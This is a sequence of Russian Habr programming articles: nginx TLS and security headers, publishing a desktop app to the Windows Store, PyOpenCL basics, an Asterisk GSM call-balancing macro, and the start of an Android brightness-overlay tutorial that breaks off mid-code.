Дальше — важные параметы: **ssl\_protocols TLSv1 TLSv1.1 TLSv1.2; и ssl\_ciphers kEECDH+AES128:kEECDH:kEDH:-3DES:kRSA+AES128:kEDH+3DES:DES-CBC3-SHA:!RC4:!aNULL:!eNULL:!MD5:!EXPORT:!LOW:!SEED:!CAMELLIA:!IDEA:!PSK:!SRP:!SSLv2;** — тут мы указываем, что мы желаем только TLS и второй строкой выжигаем калёным железом все SSL. В свете последних фейлов с SSL — очень актуально, что и Вам советую. Ну и директивой **ssl\_prefer\_server\_ciphers on;** принуждаем nginx это всё строго соблюдать.
Директива **add\_header Strict-Transport-Security «max-age=31536000;»;** указывает браузерам сколько они должны помнить данные требования безопасности для моего домена. В данном случае — 1 год. Кстати, если директиву написать вот так: **add\_header Strict-Transport-Security «max-age=31536000; includeSubDomains; preload»;**, то данные условия будут применимы ко всем доменам третьего и выше уровня вашего домена. **Тут будте осторожны!** Я изначально описал именно так, но так, как StartSsl выдаёт сертификаты на ограниченное количество поддоменов, я наткнулся на невозможность даже попасть на свои поддомены, которые обслуживают разнообразные админки, работали только те, на которые были выписаны trusted сертификаты. Поэтому я для себя выбрал первый вариант.
Далее — **add\_header Content-Security-Policy-Report-Only «default-src https:; script-src https: 'unsafe-eval' 'unsafe-inline'; style-src https: 'unsafe-inline'; img-src https: data:; font-src https: data:; report-uri /csp-report»;** — я толком глубоко ещё не изучил свойства данного заголовка. Content Security Policy (CSP) — новый стандарт, определяющий HTTP-заголовки Content-Security-Policy и Content-Security-Policy-Report-Only, которые сообщают браузеру белый список хостов, с которых он может загружать различные ресурсы.
Временно я взял данную строку из статьи Яндекса про применение у них CSP, почитать подробно можно тут: <http://www.html5rocks.com/en/tutorials/security/content-security-policy/>.
Вот вроде-бы и всё. Несколько ссылкок, где можно проверить результаты своих и чужих трудов:
1. [SPDY Check](http://spdycheck.org/) — [это результат моего труда](http://spdycheck.org/#dsmirnov.pro).
2. [SSL Labs — проверка качества защиты вашего сервера](https://www.ssllabs.com/ssltest/index.html).
**Удачной защиты, коллеги!** | https://habr.com/ru/post/252821/ | null | ru | null |
# Публикация десктоп-приложения в Windows Store c помощью Desktop Application Converter
Не так давно мы опубликовали разработанное нами корпоративное приложение для десктопов, которое дополняет функционал Skype for Business. Например, может «по-человечески» сохранять историю переписки, как это делают все «приличные» мессенджеры, умеет отправлять сообщения в оффлайн, позволяет упорядочить контакты и ещё много всего, чего не хватало в Skype for Business. И когда появилась возможность поделиться приложением с помощью Windows Store, мы решили этой возможностью воспользоваться. В статье мы расскажем, как это происходило и чего нам это стоило.
Про сам процесс разработки и про то, чего нам стоила идея работы со SfB в режиме Suppression Mode (подавление SfB), [читайте здесь](https://habrahabr.ru/post/306230/).
EasyLy разрабатывался как настольное приложение WPF & Lync SDK для Windows, и конечно же, мы стремились поделиться своей разработкой со всем миром. Публикация «классических» десктопных приложений (без метро-интефейса) стала доступна не так давно, опыта у нас совсем не было, поэтому мы начали изучать, как загрузить наше приложение в Windows Store.
### Начало
Вся суть заключалась в том, чтобы с помощью [Desktop Application Converter](https://www.microsoft.com/en-us/store/p/desktopappconverter/9nblggh4skzw) преобразовать приложение в AppX пакет для UWP (Universal Windows Platform), чтобы затем его можно было загрузить в Windows Store.
Нужно заметить, что не любое настольное приложение можно разместить в магазине. Оно должно удовлетворять требованиям, описанным [в этой статье](https://msdn.microsoft.com/en-us/windows/uwp/porting/desktop-to-uwp-prepare).
Для самого процесса конвертирования необходима ОС “Юбилейное обновление Windows 10 Pro” или “Корпоративная” (10.0.14393.0 и более поздней версии) x64. Также нужно будет установить [Microsoft Windows 10 SDK](https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk). А перед работой с конвертером понадобится скачать один из базовых [образов Windows 10](https://www.microsoft.com/en-us/download/details.aspx?id=54442).
ВАЖНО: Версия билда операционной системы должна в точности совпадать с версией образа BaseImage-xxxxx.wim.
После прочтения статьи о том, [как работать с конвертером](https://msdn.microsoft.com/en-us/windows/uwp/porting/desktop-to-uwp-run-desktop-app-converter), мы разработали систему скриптов для Command Prompt и Power Shell, которые генерировали AppxManifest.xml и конечный пакет AppX.
И вот, наконец, всё было готово для загрузки EasyLy.appx в Windows Store. Честно говоря, мы не рассчитывали на то, что процесс размещения приложения окажется так растянут по времени, но в общей сложности у нас на это ушло примерно два месяца. Мы также не ожидали, что впереди нас будут ждать странные ошибки, с которыми придётся бороться совместно с сотрудниками Microsoft. Эмоции команды были на переделе, но всё же нам это удалось. О том, что это были за ошибки и как мы их устраняли, читайте ниже.
### Ошибка, и не одна.
При первой попытке публикации в Windows Store мы получили четыре ошибки.
1. **Package acceptance validation error:** We don’t allow the capability you’ve specified: runFullTrust.
2. **Package acceptance validation error:** The PublisherDisplayName element in the app manifest of EasyLy.signed.appx is GROVETY, INC, which doesn't match your publisher display name: GROVETY INC.
3. **Package acceptance validation error:** Apps are not allowed to have a Version with a revision number other than zero specified in the app manifest. The package EasyLy.signed.appx specifies 1.61.6088.26940.
4. **Package acceptance validation error:** You don't have permissions to specify the following namespaces in the appx manifest file of the package EasyLy.signed.appx: schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities
Мы исправили ошибку №3 с версией. Оказалось, что запрещено иметь ревизию версии (последний разряд версии), отличную от нуля (major.minor[.build[.revision]]). Что ж, это было несложно.
Было: DesktopAppConverter.exe … -Version 1.61.6088.26940
Стало: DesktopAppConverter.exe … -Version 1.61. 6088.0
В дальнейшем мы отказались и от версии билда: DesktopAppConverter.exe … -Version 1.61.0.0
Оставались ещё три ошибки.
**1. Package acceptance validation error:** The PublisherDisplayName element in the app manifest of EasyLy.s.appx is GROVETY, INC, which doesn't match your publisher display name: GROVETY INC.
**2. Package acceptance validation error:** You don't have permissions to specify the following namespaces in the appx manifest file of the package EasyLy.s.appx: schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities
**3. Package acceptance validation error:** Your developer account doesn’t have permission to submit apps converted with the Desktop App Converter at this time.
Была исправлена ошибка №1 с именем сертификата в AppxManifest.xml:
```
Было: GROVETY, INC
Стало: GROVETY INC
```
Если честно, было странно, что это исправление сработало, и непонятно, с каким значением происходит сравнение имени сертификата, т.к. в свойствах AppX пакета в разделе “Цифровые подписи” имя сертификата было как раз с запятой, а к интерфейсу выкладывания в Windows Store разработчики доступа не имели (чтобы посмотреть, как там выглядит имя издателя и что оно вообще там присутствует), потому что публикация осуществлялась отделом маркетинга.
После этого остались ошибки, которые говорили о какой-то проблеме, связанной с аккаунтом, через который было невозможно выложить AppX.
**1. Package acceptance validation error:** You don't have permissions to specify the following namespaces in the appx manifest file of the package EasyLy.s.appx: schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities
**2. Package acceptance validation error:** Your developer account doesn’t have permission to submit apps converted with the Desktop App Converter at this time.
Что делать с этими ошибками нам подсказал один из авторов habrahabr'а — [asommer](https://habrahabr.ru/users/asommer/). Как оказалось, все новые десктопные приложения требуют ручной валидации – и для этого нужно написать в техподдержку.
Мы оставили заявку [здесь](http://c/Users/PavelL/AppData/Local/Microsoft/Windows/Temporary%20Internet%20Files/Content.Outlook/J16G2VAQ/:%20https:/developer.microsoft.com/en-us/windows/projects/campaigns/desktop-bridge), и уже через несколько дней с нами связался сотрудник Майкрософт.
### Поиск решения совместно с Майкрософт
Мы собрали конференцию по Skype for Business, где рассказали, что EasyLy – это десктопное приложение, которое расширяет функционал Skype4B, например умеет сохранять историю диалогов. И по результатам встречи отправили APPX-файл с приложением для проверки.
Также параллельно пришлось подписать ещё одно соглашение с Майкрософт — Centennial Early Adopter Program Addendum.
Общение было затруднено тем, что сотрудники Майкрософт находились в Америке, и разница во времени составляла 10 часов. В результате – приходилось общаться поздно вечером, а ждать ответ на письма – сутки.
Через некоторое время мы получили письмо от Майкрософт. У них возникли вопросы, как EasyLy интегрируется со Skype for Business. Им было необходимо удостовериться, что EasyLy сможет нормально работать со следующей версией Skype for Business.
В общем, нужно было подготовить техническое описание на английском. При этом договорились, что если что-то останется неясным, то будем снова устраивать онлайн-митинг.
К счастью, нашего описания оказалось достаточно, и сотрудник Майкрософт нас заверил, что процесс одобрения идет.
### Проверка на прочность
Мы не ожидали, что в Microsoft ещё будут проводиться какие-то тесты над нашим приложением. Представитель Microsoft сообщил, что наше приложение утверждено для Windows Store, но не прошло CARE тест. К тому же, он указал на возможность воспользоваться дополнительными функциями API, доступными только для конвертируемых приложений. Из этих возможностей мы выбрали автозапуск при логине пользователя и добавили в AppxManifest.xml в элемент такой раздел:
```
```
Чуть подробнее о тесте CARE. Судя по отчёту прохождения, который они нам прислали, проверяются следующие вещи:
Test for Drivers and Services (Drivers cannot be installed)
Test for DDE Exec registry verbs (DDE Exec warning)
Validate Appx Manifest (Application Identity Name can't be empty)
Validate security policy settings (EXE can not request admin elevation, EXE can not request UIAccess)
Validate PE integrity (PE Files must be validly signed)
EasyLy провалился на втором пункте. Программа обращалась к нестандартным ключам реестра. Это было исправлено.
Теперь, когда все проблемы были решены, мы предвкушали радость победы и долгожданной загрузки EasyLy в Windows Store. Но удача снова не была на нашей стороне и появились очередные ошибки:
**1. Invalid package identity name:** EasyLy (expected: GROVETYINC.EasyLyCorp).
**2. Invalid package family name:** EasyLy\_04mzw0hspzxdg (expected: GROVETYINC.EasyLyCorp\_8qq6gc35dw28r)
**3. Invalid package publisher name:** CN=”GROVETY, INC”, O=”GROVETY, INC”, L=Wilmington, S=”Delaware”, C=US (expected: CN=71A49F4D-5C79-40F1-A333-B79F06F50E03)
**4. This package uses a display name that you have not reserved:** EasyLy
Такое ощущение, что компания Microsoft решила заботливо не сообщать о всех ошибках сразу, а выдавать их по частям, и каждую следующую часть показывать только после исправления всех ошибок в предыдущей. Оно, может, и правильно, потому что если бы мы увидели все ошибки сразу, вероятность того, что мы решили бы продолжать, была бы определенно меньше. Но теперь, когда половина пути была пройдена, отступать назад уже не хотелось.
В Майкрософт ответили следующее:
1. Непонятно, что это такое. Попробуйте исправить вначале остальные ошибки.
2. Всё верно, регистрируемый пакет называется «GROVETYINC.EasyLyCorp\_8qq6gc35dw28r».
3. Уберите запятую из имени издателя.
4. Имя регистрируемого приложения “EasyLy Corp”.
Было: DesktopAppConverter.exe … -Publisher «CN=GROVETY»
Стало: DesktopAppConverter.exe … -Publisher «CN=GROVETY INC» -PackageDisplayName «EasyLy Corp» -AppDisplayName «EasyLy» -AppExecutable «EasyLy.exe»
После этих изменений ушла ошибка №4.
Пытаясь устранить ошибку №1 добавили в параметры конвертера -PackageName «GROVETYINC.EasyLyCorp», но получили непонятную ошибку при конвертации:
```
Error:
PowerShell Error Record:
Could not find a part of the path.
PowerShell Stack Trace:
at , C:\Program Files\WindowsApps\Microsoft.DesktopAppConverter\_1.0.1.0\_x64\_\_8wekyb3d8bbwe\DesktopAppConverter.ps1: line 719
at , : line 1
Inner Exception[0]:
System.IO.DirectoryNotFoundException: Could not find a part of the path.
at System.IO.\_\_Error.WinIOError(Int32 errorCode, String maybeFullPath)
at System.IO.FileInfo.MoveTo(String destFileName)
at Microsoft.PowerShell.Commands.FileSystemProvider.MoveFileInfoItem(FileInfo file, String destination, Boolean force, Boolean output)
Inner Exception Stack Trace[0]
at System.IO.\_\_Error.WinIOError(Int32 errorCode, String maybeFullPath)
at System.IO.FileInfo.MoveTo(String destFileName)
at Microsoft.PowerShell.Commands.FileSystemProvider.MoveFileInfoItem(FileInfo file, String destination, Boolean force, Boolean output)
```
Также опытным путём было замечено, что если PackageNamе имеет длину 19 символов или меньше, то ошибки не возникает, а имя GROVETYINC.EasyLyCorp имеет длину 21 символ.
Пытаясь устранить ошибку №3 с сертификатом пробовали разные варианты:
1. CN=«GROVETY INC»
2. CN=«GROVETY INC», O=«GROVETY INC», L=Wilmington, S=Delaware, C=US
3. CN=71A49F4D-5C79-40F1-A333-B79F06F50E03 (как указано в сообщении об ошибке)
Но наш сертификат имеет именно такой вид: CN=«GROVETY, INC», O=«GROVETY, INC», L=Wilmington, S=Delaware, C=US, поэтому ожидаемо, что мы получали ошибку при подписывании:
По поводу третьей ошибки Майкрософт сказали, что в Windows Store процесс подписывания автоматический и не нужно пытаться подписать AppX самим. Таким образом, ошибка №3 ушла.
Насчёт ошибки №1 нам сообщили, что возможно, это баг конвертера, связанный с длиной параметра PackageName и предложили workaround:
```
a. Укоротите PackageName насколько нужно и добавьте легко узнаваемы флаг, например, EasyLyChangeMe.
b. Соберите appx пакет.
c. Откройте пакет
makeappx unpack /p “[appx path and file]” /d “[Unpack folder]”
d. Вручную измените PackageName на GROVETYINC.EasyLyCorp.
В строке сверху в манифест файле атрибут Name должен совпадать со значением Name, на странице приложения в Windows Store в разделе APP management -> App Identity
e. Пересоберите appx пакет.
makeappx pack /p “[new appx path and file]” /d “[Unpack folder]”
```
Следуя этому workaround мы решили наши проблемы. В конечном итоге строка с параметрами конвертера теперь выглядит так:
```
DesktopAppConverter.exe -ExpandedBaseImage "C:\ProgramData\Microsoft\Windows\Images\baseImage-14393" -Installer "installer\easyly_v1.61_setup.exe" -Version 1.61.0.0 -InstallerArguments "/verysilent" -Destination "out" -PackageName "GROVETYINC.EasyLy" -PackageDisplayName "EasyLy Corp" -AppDisplayName "EasyLy" -AppExecutable "EasyLy.exe" -AppId "GROVETYINC.EasyLyCorp" -Publisher "CN=71A49F4D-5C79-40F1-A333-B79F06F50E03" -PackagePublisherDisplayName "CN=GROVETY INC" -Verbose
```
### Счастливый конец
В результате всех этих действий мы получили пакет, который прошёл валидацию! И — ура! Можно было отправить наш EasyLy в магазин.
А дальше всё было просто – заполнить необходимую информацию, загрузить скриншоты и проставить сумму, которую мы хотим получать за продукт, и, через несколько суток, он появился в магазине. | https://habr.com/ru/post/318072/ | null | ru | null |
# Используем OpenCL в Python
В последнее время параллельные вычисления прочно входят в жизнь, в частности, с использованием GPU.
Здесь было много статей на эту тему, поэтому ограничусь лишь поверхностным описанием технологии. GPGPU — использование графических процессоров для задач общего назначения, т.е. не связанных напрямую с рендерингом. Пример — библиотека Nvidia PhysX для расчёта физики в некоторых современных играх. Эта технология выгодна тем, что GPU хороши на параллельном выполнении с множеством потоков. Правда, потоков должно быть много, иначе производительность сильно упадет. Ещё из-за особенностей работы с памятью приходится несколько хитрить с передачей данных из оперативной памяти в видеопамять. Известные реализации: [CUDA](http://ru.wikipedia.org/wiki/CUDA) (Nvidia, только для видеокарт), [OpenCL](http://ru.wikipedia.org/wiki/OpenCL) (Khronos Group, для гетерогенных систем) и [AMD FireStream](http://ru.wikipedia.org/wiki/FireStream). Здесь будет обсуждаться только OpenCL.
Итак, приступим к практике. В качестве языка основной программы выберем Python. Он, конечно, не очень быстр сам по себе, зато отлично работает как «клей» — во многих применениях основной расчёт идёт в OpenCL, а код на Python только «подносит патроны». Существует отличная библиотека [PyOpenCL](http://mathema.tician.de/software/pyopencl), которой и будем пользоваться.
#### Инсталляция
Но, прежде всего, надо установить всё необходимое для работы с OpenCL. Для карт Nvidia поддержка OpenCL идёт вместе с CUDA SDK, а также в официальном драйвере. В nouveau, насколько знаю, поддержки пока нет. Для Windows есть инсталлятор на официальном сайте, для GNU/Linux следует поставить нужный софт из репозиториев. Для ArchLinux это пакеты cuda-toolkit, cuda-sdk, nvidia, nvidia-utils, nvidia-opencl. Для процессоров Intel есть весьма неплохой Intel OpenCL SDK, для AMD также есть родной SDK.
В CUDA SDK есть отличный пример oclDeviceQuery, который показывает море информации по устройству OpenCL по умолчанию. Весьма удобная вещь для проверки общей работоспособности.
Финальный аккорд — установка библиотек для Python. Потребуются, во-первых, [NumPy](http://numpy.scipy.org/) и, во-вторых, сам PyOpenCL.
#### Некоторые замечания по практике
Собственно, многие важные для практики вещи были рассказаны в [недавней статье](http://habrahabr.ru/post/146823/), поэтому очень советую с ней тоже ознакомиться. Здесь я остановлюсь на особенностях использования PyOpenCL.
В целом стоит упомянуть об основных отличительных чертах GPU. Во-первых, они требовательны к наличию большого числа потоков, иначе производительность будет падать. Т.е., в отличие от CPU, они любят много легких потоков, нежели мало тяжелых. Во-вторых, следует быть очень осторожным при работе с памятью. Контроллер памяти выдаст обещанные Гб/с только при условии того, что за раз передается большой объем данных. Также следует иметь ввиду, что для при переносе алгоритма на GPU нужно как будто собираться в поход — всё нужное брать с собой, ибо с GPU ни достучаться до оперативной памяти или диска, ни выделить большой блок видеопамяти не получится. И в-третьих, условные переходы сейчас обрабатываются очень плохо, поэтому их следует использовать по минимуму.
Исходя из этого, следует помнить, что далеко не все алгоритмы работают хорошо на GPU. Видимо, обработка изображений и математическое моделирование наиболее подходят для видеокарт.
#### Инициализация
Работа с OpenCL начинается с инициализации устройства. На [странице официальной документации](http://documen.tician.de/pyopencl/) есть пример, как можно использовать create\_some\_context() для выбора устройства по умолчанию, написав минимум кода. Копипастить его не буду, но весьма полезно ознакомиться сначала с ним.
Здесь я рассмотрю несколько более сложный случай. Я буду выбирать конкретное устройство, а также передавать разные типы параметров. Следует отметить, что массивы для передачи на устройство (здесь и далее «устройство» — это устройство OpenCL, т.е. то, на котором будет выполняться код на OpenCL) не могут быть встроенными списками или кортежами. Можно использовать только NumPy'евские массивы. Это происходит из-за того, что библиотека ожидает получить массив одного типа.
**Хост-код инициализации**
```
import pyopencl as cl
import numpy
set_simple_args(model_params)
set_device()
create_buffers(np.array(particles, dtype=np.float64))
program = cl.Program(self.context, open('worker.cl').read()).build()
def set_device():
device = cl.get_platforms()[settings.DEVICE_NUM].get_devices(getattr(cl.device_type, settings.CL_DEVICE))[0]
context = cl.Context(devices=[device], dev_type=None)
cqueue = cl.CommandQueue(self.context)
def set_simple_args(mp):
# полезно передавать константы преобразованными в типы numpy
# это избавит от головной боли с типами, ведь язык OpenCL статически типизирован
central_size = numpy.float64(mp['central size'])
dt = numpy.float64(mp['dt'])
skip = numpy.int32(mp['skip'])
q_e = numpy.float64(mp['e charge'])
q_i = numpy.float64(mp['ion charge'])
ion_m = numpy.float64(mp['ion mass'])
def create_buffers(particles):
# particles - большой массив координат и скоростей
mf = cl.mem_flags
buf_particles_1 = cl.Buffer(self.context,
mf.READ_WRITE | mf.COPY_HOST_PTR, hostbuf=particles)
buf_particles_2 = cl.Buffer(self.context,
mf.READ_WRITE | mf.COPY_HOST_PTR, hostbuf=particles)
buf_charge = cl.Buffer(self.context,
mf.READ_WRITE | mf.COPY_HOST_PTR, hostbuf=np.float64(0.0))
buf_q_e = cl.Buffer(self.context,
mf.READ_WRITE | mf.COPY_HOST_PTR, hostbuf=np.int32(0.0))
buf_q_i = cl.Buffer(self.context,
mf.READ_WRITE | mf.COPY_HOST_PTR, hostbuf=np.int32(0.0))
```
Что же здесь происходит? Сначала выставляются «простые» аргументы — они передаются как константы. Далее конфигурируется желаемое устройство. settings.DEVICE\_NUM — номер устройства, settings.CL\_DEVICE — тип (GPU, CPU или что-то более экзотичное). Теперь загружаются буферы памяти видеокарты. Этот шаг можно производить только для массивов, а также переменных, значение которых нужно прочесть после выполнения ядра. И, наконец, создается объект программы (в worker.cl исходный код ядра).
Следует заметить, что при ошибке компиляции выбрасывается исключение и соответствующее сообщение на экран. Можно также включить показ предупреждений и другой чуши от компилятора. Это можно сделать, добавив `export PYOPENCL_COMPILER_OUTPUT=1` в .bashrc. Тут можно упомянуть интеловский компилятор, который всегда явно рапортует о том, какой хорошо он всё векторизовал, в отличии от более юниксвейного от Nvidia.
#### Запуск ядра
Здесь всё относительно просто. Наши аргументы скармливаются как параметры для функции запуска ядра (через \_\_call\_\_()). В данном коде каждая новая итерация — новый запуск ядра.
**Хост-код запуска ядра**
```
def iterate():
program.dust_plasma(cqueue, [global_size], None,
buf_particles_1, buf_particles_2,
buf_charge, buf_q_e, buf_q_i,
q_e, q_i, ion_m,
central_size, outer_boundary,
dt, skip)
output_particles, cur_charge = empty_particles, numpy.empty_like(numpy.float64(0.0))
# копируем в output_particles из буфера buf_particles_2
cl.enqueue_copy(cqueue, output_particles, buf_particles_2)
cl.enqueue_copy(cqueue, cur_charge, buf_charge)
return output_particles, cur_charge
```
Для удобства понимания, вот кусочек кода ядра OpenCL (как можно видеть, это что-то вроде C):
**Фрагмент кода ядра**
```
__kernel void dust_plasma(__global double4* particles_1, // эта штука передавалась как буфер
__global double4* particles_2, // и эта тоже
__global double* dust_charge,
__global int* charge_new_e, __global int* charge_new_i,
__const double charge_e, __const double charge_i, // а тут уже просто
__const double ion_mass, // как обычные
__const double central_size, // переменные, ибо
__const double outer_boundary, // константы
__const double dt, __const unsigned skip)
{
int id = get_global_id(0);
// ...
for(unsigned i = 0; i < skip; i++)
{
//printf("Iteration %i\n", i);
params.previous = &particles_1; params.next = &particles_2;
one_iteration_rk2(&params);
params.previous = &particles_2; params.next = &particles_1;
one_iteration_rk2(&params);
}
barrier(CLK_GLOBAL_MEM_FENCE);
// ...
}
```
#### Заключение
Надо отметить, что документация весьма адекватна и удобна. При возникновении вопросов по библиотеке можно писать в рассылку pyopencl@tiker.net, сообщество там довольно живое и отвечает быстро. Библиотека распространяется под либеральной лицензией MIT, что весьма приятно.
По поводу самого языка OpenCL — я считаю, что для его изучения не требуется особенных мануалов. Просто писать, как на С99, иногда вспоминая про ограничения (если что, компилятор подскажет) и листая спецификацию. Пожалуй, что следует заранее знать, так это встроенные типы данных, вроде float4 (переменная, состоящая из 4-х отдельных значений float, работать с ней быстрее, чем с 4 отдельными float).
Также хочется поблагодарить автора PyOpenCL по имени Andreas Klöckner за отличную библиотеку.
Просьба 1) сообщать об опечатках/ошибках в тексте 2) в личку.
#### Полезные ссылки по теме
* [Википедия](http://ru.wikipedia.org/wiki/OpenCL)
* [Спецификация по OpenCL](http://www.khronos.org/registry/cl/sdk/1.1/docs/man/xhtml/)
* [Официальная страница PyOpenCL](http://mathema.tician.de/software/pyopencl), [документация](http://documen.tician.de/pyopencl/)
* [Та самая недавняя статья, которую полезно почитать](http://habrahabr.ru/post/146823/)
EDIT. Исправил опечатки.
Текст статьи распространяется под лицензией [Creative Commons Attribution-ShareAlike 3.0](http://creativecommons.org/licenses/by-sa/3.0/), фрагменты кода — MIT.
[](http://creativecommons.org/licenses/by-sa/3.0/) | https://habr.com/ru/post/146993/ | null | ru | null |
# Макрос для балансировки исходящих звонков на GSM в Asterisk
##### Привет, Хабр!
В прошлом топике(уже в черновиках) я обещал предоставить хабрасообществу действующий макрос для балансировки исходящих звонков через N-ное количество сим-карт. Сабж, собственно, найден, усовершенствован и протестирован. Плюс — он гарантирует, что симка с превышенным лимитом использоваться не будет.
Дано: FreeBSD 9, Asterisk 11.4, 2х Addpac GS1002 (используются все 4 сим-карты). Настроено 4 транка на симки: 9001, 9002, 9003, 9004 соответственно. На них полосатый тариф с «безлимитом» 300 минут в месяц на каждой.
Задача: Если на какой-либо симке исчерпан лимит, не использовать ее при наборе. Если же исчерпаны все — слать звонок через провайдера (там чуть дешевле, чем через GSM с тарификацией)
###### 1. Настраиваем сохранение cdr в mysql
Не вижу смысла копипастить сюда [мануал](http://voip.rus.net/tiki-index.php?page=Asterisk+cdr+mysql). Добавлю лишь, проверьте наличие модуля cdr\_mysql.so в своей сборке.
###### 2. Добавляем контекст с макросом в extensions.conf(для работы необходим модуль app\_mysql.so — Simple Mysql Interface!)
Сам макрос подробно прокомментирован.
```
[macro-gsm]
exten => s,1(start),Set(ARG2=$[${ARG2} + 1]) ;инкремент, подробности чуть ниже
same => n,GotoIf($[${ARG2}>=9005]?sip:repeat) ;У нас 4 транка, предлагает 9005 - пускаем через провайдера
same => n(repeat),MYSQL(Connect connid localhost asterisk password asterisk) ; Подключаемся к базе
same => n,MYSQL(Query resultid ${connid} SELECT SUM(`billsec`) FROM `cdr` WHERE `dstchannel` LIKE '%${ARG2}%' AND `calldate` BETWEEN DATE_FORMAT(NOW(),'%Y-%m-01') AND LAST_DAY(NOW()) + INTERVAL 1 DAY) ; Собственно запрос. Результат - суммарное количество тарифицируемых секунд на текущем транке за текущий месяц
same => n,MYSQL(Fetch fetchid ${resultid} duration) ; Результат в переменную duration
same => n,MYSQL(Clear ${resultid}) ;Очистка и отключение от базы
same => n,MYSQL(Disconnect ${connid})
same => n,GotoIf($[${duration}<=18000]?call:start) ; Если через транк прошло менее 300 минут, посылаем звонок через него, нет - отправляемся в начало, в следующем круге используется транк с большим номером
same => n(call),Set(limit=$[18000 - ${duration}]) ; устанавливаем максимальную длительность разговора, чтобы не попасть на деньги
same => n,Dial(SIP/${ARG2}/${ARG1},,S(${limit})tTr) ;Звоним
same => n,GotoIf($[${DIALSTATUS}=ANSWER]?finish:start) ;Разговор состоялся - кладем трубку, транк занят - следующий круг
same => n(sip),Dial(SIP/ctm/${ARG1},,Ttr) ;Звонок через провайдера
same => n(finish),Hangup ;Кладем трубку
exten => h,1,MYSQL(Clear ${resultid}) ; Еще команды на отключение от базы, для перестраховки.
same => n,MYSQL(Disconnect ${connid})
```
Пример вызова в диалплане: exten => \_79XXXXXXXXX,1,Macro(gsm,${EXTEN},9000)
9000: номер транка — 1
Макрос протестирован и работает. Очевидные минусы — ~~неоптимизированный запрос,~~ названия транков только цифровые. Есть желание помочь — предлагайте в комментариях свои варианты. Плюс — он эффективен)
Спасибо [pfactum](http://habrahabr.ru/users/pfactum/), [PyroRed](http://habrahabr.ru/users/pyrored/) и [Malamut](http://habrahabr.ru/users/malamut/) за вдохновение.
**UPD:** Макрос обновлен, спасибо [WhiteD](http://habrahabr.ru/users/whited/) и [ragus](http://habrahabr.ru/users/ragus/) | https://habr.com/ru/post/195730/ | null | ru | null |
# Делаем симпатичный виджет регулировки яркости
Давным давно у моей мамы на телефоне было приложение, которое позволяло изменить яркость экрана проведя пальцем по его левому краю. Мама к нему привыкла, а потом перешла на новый телефон и там уже то приложение из магазина исчезло. Собственно, не найдя аналогов, я решил написать его сам и подарить ей на день рождения. Пошаговое руководство по созданию и результат — в этой статье.
Для создания этого приложения нам потребуется два разрешения — разрешение на изменение системных настроек (непосредственно регулировка яркости) и разрешение наложения поверх других приложений. Оба этих разрешения начиная с версии Android 6.0 нельзя получить просто указав их в манифесте — их необходимо запросить у пользователя по отдельности.
Структура нашего приложения будет следующая — основная активность, которая будет иметь две кнопки — одна будет запускать службу, которая будет отрисовывать SeekBar для управления яркостью, а вторая будет эту службу останавливать. Начнем с нашей основной активности. Вот как выглядит файл разметки:
**Разметка mainActivity**
```
xml version="1.0" encoding="utf-8"?
```
И вот как будет выглядеть сама активность:
**mainActivity**
```
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//Здесь мы проверяем, какая версия Android у пользователя, и если она 6 или выше - запрашиваем разрешение сложным способом
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES .M) {
if (!Settings.System.canWrite(getApplicationContext())) {
Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS, Uri.parse("package:" + getPackageName()));
Intent myIntent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
startActivity(myIntent);
startActivity(intent);
}
else {
}
}
final Button startService = (Button) findViewById(R.id.startService);
final Button stopService = (Button) findViewById(R.id.stopService);
startService.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startService(new Intent(getApplication(), BrightnessChekingService.class));
}
});
stopService.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
stopService(new Intent(getApplication(), BrightnessChekingService.class));
}
});
}
}
```
Теперь создадим службу BrightnessChekingService, ее функции я уже указал выше. Не забывайте — в случае, если вы создаете ее вручную, необходимо зарегистрировать ее в манифесте
**BrightnessChekingService**
```
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.graphics.PixelFormat;
import android.os.Build;
import android.os.IBinder;
import android.provider.Settings;
import android.view.Gravity;
import android.view.WindowManager;
import android.widget.SeekBar;
public class BrightnessChekingService extends Service{
private WindowManager windowManager;
private WindowManager.LayoutParams params;
private VerticalSeekBar seekBar;
private Context context;
public void onCreate () {
super.onCreate();
//Тут нам тоже необходимо понять, какая у пользователя версия Android, так как названия этого разрешения в разных версиях разное
int LAYOUT_FLAG;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
LAYOUT_FLAG = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
} else {
LAYOUT_FLAG = WindowManager.LayoutParams.TYPE_PHONE;
}
windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
context = this.getApplicationContext();
seekBar = new VerticalSeekBar(context);
seekBar.setMax(255);
float alpha = (float) 0.1;
seekBar.setAlpha(alpha);
params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.MATCH_PARENT,
LAYOUT_FLAG,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
PixelFormat.TRANSLUCENT);
params.gravity = Gravity.START;
params.x = 0;
params.y = 0;
params.height = 700;
windowManager.addView(seekBar, params);
int Brightnes = Settings.System.getInt(context.getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 0);
seekBar.setProgress(Brightnes);
seekBar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener(){
public void onProgressChanged(SeekBar seekBar, int i, boolean b) {
Settings.System.putInt(context.getContentResolver(), Settings.System.SCREEN_BRIGHTNESS,i);
//Следующие строчки нужны для того, чтобы отключить автояркость и позволить seekBar ее регулировать
Settings.System.putInt(getContentResolver(),
Settings.System.SCREEN_BRIGHTNESS_MODE, Settings.System.SCREEN_BRIGHTNESS_MODE_MANUAL);
}
public void onStartTrackingTouch(SeekBar seekBar) {
